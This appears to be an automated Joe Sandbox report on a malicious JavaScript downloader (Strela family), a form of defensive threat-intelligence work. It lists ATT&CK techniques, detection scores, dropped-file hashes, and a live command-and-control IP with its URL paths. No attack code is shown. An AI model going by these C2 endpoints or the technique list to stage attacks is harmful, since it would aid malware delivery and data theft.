Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1018617432866721695.js	5%	Virustotal		Browse
1018617432866721695.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/9	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/U	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/e	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2290871909.000001F139218000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/9	net.exe, 00000007.00000002.2290871909.000001F139247000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2290806619.00000177843A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3527800519.000001778460F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/U	net.exe, 00000007.00000002.2290871909.000001F139218000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/e	net.exe, 00000007.00000002.2290871909.000001F139247000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2290871909.000001F139247000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2290871909.000001F139218000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2290871909.000001F13926F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588164
Start date and time:	2025-01-10 22:06:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1018617432866721695.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.22.41.97, 4.175.87.197, 23.195.92.153
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:07:32	API Interceptor	22x Sleep call for process: powershell.exe modified
16:07:36	API Interceptor	1x Sleep call for process: net.exe modified
16:07:36	API Interceptor	2x Sleep call for process: svchost.exe modified
16:07:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	hm8dCK5P5A.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	I3LPkQh2an.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
bg.microsoft.map.fastly.net	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263168207237124
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0U:9JZj5MiKNnNhoxuN
MD5:	0F3C3182A81C9BD8AC2CED62F5F1541D
SHA1:	388CD0A1555EAF9657E1B1D9B151C2C8CFCE35B6
SHA-256:	1C3FBE313A30625061AFDBECBBC6B4DDE43C1FCF22DAF926A2D247F92F4B50B9
SHA-512:	23DC5BAE534B412A6F5E8E0FB6ED68A26BD79FFA272C0501B4BA152F2A03742B31CEFE5B53D46EB86D57A36191ECFFC41553E63F839FCD8C78C1E5C51DAF7019
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xed53f264, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755550091172812
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	F1D4443D323BA6B2E03A4CC4B4F8431E
SHA1:	C315A9343C867F8345C40CE956EE5D74C7A275A6
SHA-256:	8BE17F6F12529141CE2C3B5EAC6700B90AB9FF079EBA4B7201648A1469735A6A
SHA-512:	09894BE3C4A2EF7BF33254246DFA1F33774F9A1E31D4E0687B3A03AD71BC9C294B78BA230E84A6B1E7256B24D770B809D558958D8B11A2E16533B2F20099BB7A
Malicious:	false
Preview:	.S.d... .......7.......X\...;...{......................0.e......!...{?.$....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................1...$....}....................WL$....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07997927408357716
Encrypted:	false
SSDEEP:	3:YdYe2Tw0c3NaAPaU1lnw8Z//AlluxmO+l/SNxOf:IzKw0ENDPaUfwwXAgmOH
MD5:	CFF825E312F7CE4E717F92B430B2CA44
SHA1:	F5FDAF0F22F1945E9A9ECCEE1212D4BC54FBCC40
SHA-256:	A31D5B5A01CD12BD979626FB2C1536EE0B680D91C9D9B6F2ABE457B50A7D7F99
SHA-512:	586A322C58A2D5BBCD321CF01037931E6F6D6CDC39FEEE3238844392AA714CE9868535197C9FFEA2E8F504529204981460E89F54ACD7F437706D0B6906A86732
Malicious:	false
Preview:	.e(j.....................................;...{..$....}...!...{?..........!...{?..!...{?..g...!...{?...................WL$....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1400759312616735
Encrypted:	false
SSDEEP:	6:iO433eMVq2PN72nKuAl9OmbnIFUtS33WgZmws33WIkwON72nKuAl9OmbjLJ:7A3vVaHAahFUtWL/sB5OaHAaSJ
MD5:	B5B1FEB864D49FFBC5DA30ABEC1DE37A
SHA1:	726451D21B14D800CB49055AEBF4F0F475DC7CE1
SHA-256:	B48B116BB83EAEEE9831CBC32790948F91D6BAD57178D0A80EABC69C1E7BC0BB
SHA-512:	4E0BEDEF1E3CDB1A93C1A7FC644DC760E30E7F319CE729889F5172EBFFA9D977004BDD346D04B1B55EB2D79C9A41889DD7153FE82FC4DBF67040FF587F21BE34
Malicious:	false
Preview:	2025/01/10-16:07:36.601 b60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:07:36.604 b60 Recovering log #3.2025/01/10-16:07:36.604 b60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1400759312616735
Encrypted:	false
SSDEEP:	6:iO433eMVq2PN72nKuAl9OmbnIFUtS33WgZmws33WIkwON72nKuAl9OmbjLJ:7A3vVaHAahFUtWL/sB5OaHAaSJ
MD5:	B5B1FEB864D49FFBC5DA30ABEC1DE37A
SHA1:	726451D21B14D800CB49055AEBF4F0F475DC7CE1
SHA-256:	B48B116BB83EAEEE9831CBC32790948F91D6BAD57178D0A80EABC69C1E7BC0BB
SHA-512:	4E0BEDEF1E3CDB1A93C1A7FC644DC760E30E7F319CE729889F5172EBFFA9D977004BDD346D04B1B55EB2D79C9A41889DD7153FE82FC4DBF67040FF587F21BE34
Malicious:	false
Preview:	2025/01/10-16:07:36.601 b60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:07:36.604 b60 Recovering log #3.2025/01/10-16:07:36.604 b60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.14683602059243
Encrypted:	false
SSDEEP:	6:iO433wV4q2PN72nKuAl9Ombzo2jMGIFUtS33XVF3JZmws33efdvDkwON72nKuAlx:7AwWvVaHAa8uFUtWXVFZ/sO75OaHAa8z
MD5:	ED7F74CAC0B2276659587C3FCD083D7B
SHA1:	EBA9AAECBBA68AAE91FAE0B2FABEB3C36D0C082A
SHA-256:	ACFDCD36FD60C8A32164E9508DEB437A56A08906AAF111935B9FA4DC1B646767
SHA-512:	287C2D8C75A15F5B8D42E6D2F48CD917A1CE208ED1E8DF606AD11F6250CC65FC08D019455B51D3C3E8E2B0C9D4BA38D050F7D7E8165CA3336DA14E23DEA5D2E1
Malicious:	false
Preview:	2025/01/10-16:07:36.599 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:07:36.600 1c80 Recovering log #3.2025/01/10-16:07:36.601 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.14683602059243
Encrypted:	false
SSDEEP:	6:iO433wV4q2PN72nKuAl9Ombzo2jMGIFUtS33XVF3JZmws33efdvDkwON72nKuAlx:7AwWvVaHAa8uFUtWXVFZ/sO75OaHAa8z
MD5:	ED7F74CAC0B2276659587C3FCD083D7B
SHA1:	EBA9AAECBBA68AAE91FAE0B2FABEB3C36D0C082A
SHA-256:	ACFDCD36FD60C8A32164E9508DEB437A56A08906AAF111935B9FA4DC1B646767
SHA-512:	287C2D8C75A15F5B8D42E6D2F48CD917A1CE208ED1E8DF606AD11F6250CC65FC08D019455B51D3C3E8E2B0C9D4BA38D050F7D7E8165CA3336DA14E23DEA5D2E1
Malicious:	false
Preview:	2025/01/10-16:07:36.599 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:07:36.600 1c80 Recovering log #3.2025/01/10-16:07:36.601 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1819ba86-4172-4476-9065-8e42c34662bd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961041133735976
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqp1KXhsBdOg2HEQVfcaq3QYiubcP7E4T3y:Y2sRdsGAXydMHS3QYhbA7nby
MD5:	627F8ED2BC41F8975769F24192F52F48
SHA1:	8DF864EEF4001F2E4A997C011E838C39D0F7BEF7
SHA-256:	CCF29D46F63BD047B00D94F1745D1EE9D413F490CC4093F1F866533D90A4E007
SHA-512:	E4C2D6D17BAD66CF5C8A29918F237D437A0F815202561F156B8463F17F59D241E79E1AA2D4CA1DF4D682BD057FBDB9544890F874798E3A5D4EB080BB9470CD17
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103268154936","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133950},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961041133735976
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqp1KXhsBdOg2HEQVfcaq3QYiubcP7E4T3y:Y2sRdsGAXydMHS3QYhbA7nby
MD5:	627F8ED2BC41F8975769F24192F52F48
SHA1:	8DF864EEF4001F2E4A997C011E838C39D0F7BEF7
SHA-256:	CCF29D46F63BD047B00D94F1745D1EE9D413F490CC4093F1F866533D90A4E007
SHA-512:	E4C2D6D17BAD66CF5C8A29918F237D437A0F815202561F156B8463F17F59D241E79E1AA2D4CA1DF4D682BD057FBDB9544890F874798E3A5D4EB080BB9470CD17
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103268154936","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133950},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251728910712821
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7Wp4aw:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhH
MD5:	8BF4D3786B6171F7AC3614D144E58B4A
SHA1:	B8AB576709AF2D07FDFEDF15AF402F79DBE735BF
SHA-256:	C455B0B5070F70DEB59B4872C4C0513FE4971986081A56599077B596DEA9B871
SHA-512:	F91858A5EBF931EFEF35676FB8550EA187618B9B93D3A8A0AC9D1687987A583F05B30CA0B18A8791EDD16EC6AE15258749C18CFC9ED4B646954DB4A463596B19
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.155978073536205
Encrypted:	false
SSDEEP:	6:iO433BJV34q2PN72nKuAl9OmbzNMxIFUtS33AJZmws33W3DkwON72nKuAl9OmbzE:7AivVaHAa8jFUtWC/sWz5OaHAa84J
MD5:	4D158B36530C938B62487E2C9A6C6440
SHA1:	DF446F96478B4B931A780A4BCBF6E86F31D58D93
SHA-256:	38C5295FD469429FF2E4FF2057009E055C1DE399C3C6B1A457D084B1DE717BEF
SHA-512:	C7A0AE3287B6C54D5748962FA51D49223170BC985B162DBA7385B0E695C6DFF2484745F4AEE12426D60D020E4C15397F9A09C39A813E3F16334D0E7E55820151
Malicious:	false
